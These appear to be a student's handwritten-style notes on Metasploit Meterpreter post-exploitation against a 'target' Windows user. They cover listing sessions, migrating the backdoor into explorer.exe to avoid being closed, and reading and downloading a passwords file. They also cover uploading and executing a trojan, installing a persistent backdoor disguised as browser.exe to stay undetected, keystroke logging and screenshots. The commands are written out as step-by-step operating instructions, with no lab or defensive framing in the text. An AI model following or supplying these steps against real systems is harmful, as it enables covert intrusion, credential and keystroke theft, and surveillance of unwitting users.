Subject :

PAGE NO.
DATE

Post Exploitation

☆ Lets learn how to use meterpreter post explottation.
→ Once you have a metasploit connection.
→ do help to know what you can do.
→ # background (backgrounds the current session in metasploit; exploit others)
→ # sessions -l (lists current connections)
→ # sessions -i {id} (runs session back)
→ # sysinfo (shows info about target)
→ # ipconfig (shows all connections)
→ # ps (lists all running proceses)
☆ We should migrate our backdoor to a process that is ~~little~~ less likely to be closed (explorer.exe)
→ do: # migrate {pid of explorer}
→ this migrates our program to explorer. So, if user wants to quit it, they need to quit explorer.

☆ # pwd
ls
→ Say you want to navigate to a file.
cd {name}
→ Now if you want to read a file from the directory do: # cat passwords.txt
↓
file name
→ You can download this file:
download ~~pat~~ {file name}

☆ Lets say you want to upload a trojan or any file to the target computer, then:

Subject :

PAGE NO.:
DATE:

upload {filename in kali}
→ It will be uploaded in current working directory
✱ Now execute this file on target.
execute -f {file name}

✱ # shell (converts current session to the windows cmd shell)

PERSISTENCE

✱ The session will end if the user restarts their computer. Therefore we need a persistent connection.
→ The best way to do this is:
using metasploit + veil-evasion
→ go to meterpreter & background the current session.
→ # use exploit/windows/local/persistence
→ # set EXE_NAME browser.exe (so that undetectable)
→ # set SESSION {session id of ours}
→ # show advanced (for adv. options)
→ # set EXE::Custom /var/www/html/backdoor.exe
↓
backdoor url
→ # exploit

✱ Now, ~~when~~ the backdoor has been persistently installed on the pc of target.
→ now if ~~you~~ target restarts the pc, metasploit will detect a connection automatically.

key logging

→ log mouse/keyboard strikes
→ In meterpreter do:
keyscan_start

Subject : _____

PAGE NO.: ____
DATE: ____

★ Now if target does any keyboard activity, it will be recorded.

do: # keyscan_dump (to see log)

→ It records every key stroke.

★ Get a screenshot :

screenshot

→ saved ss on kali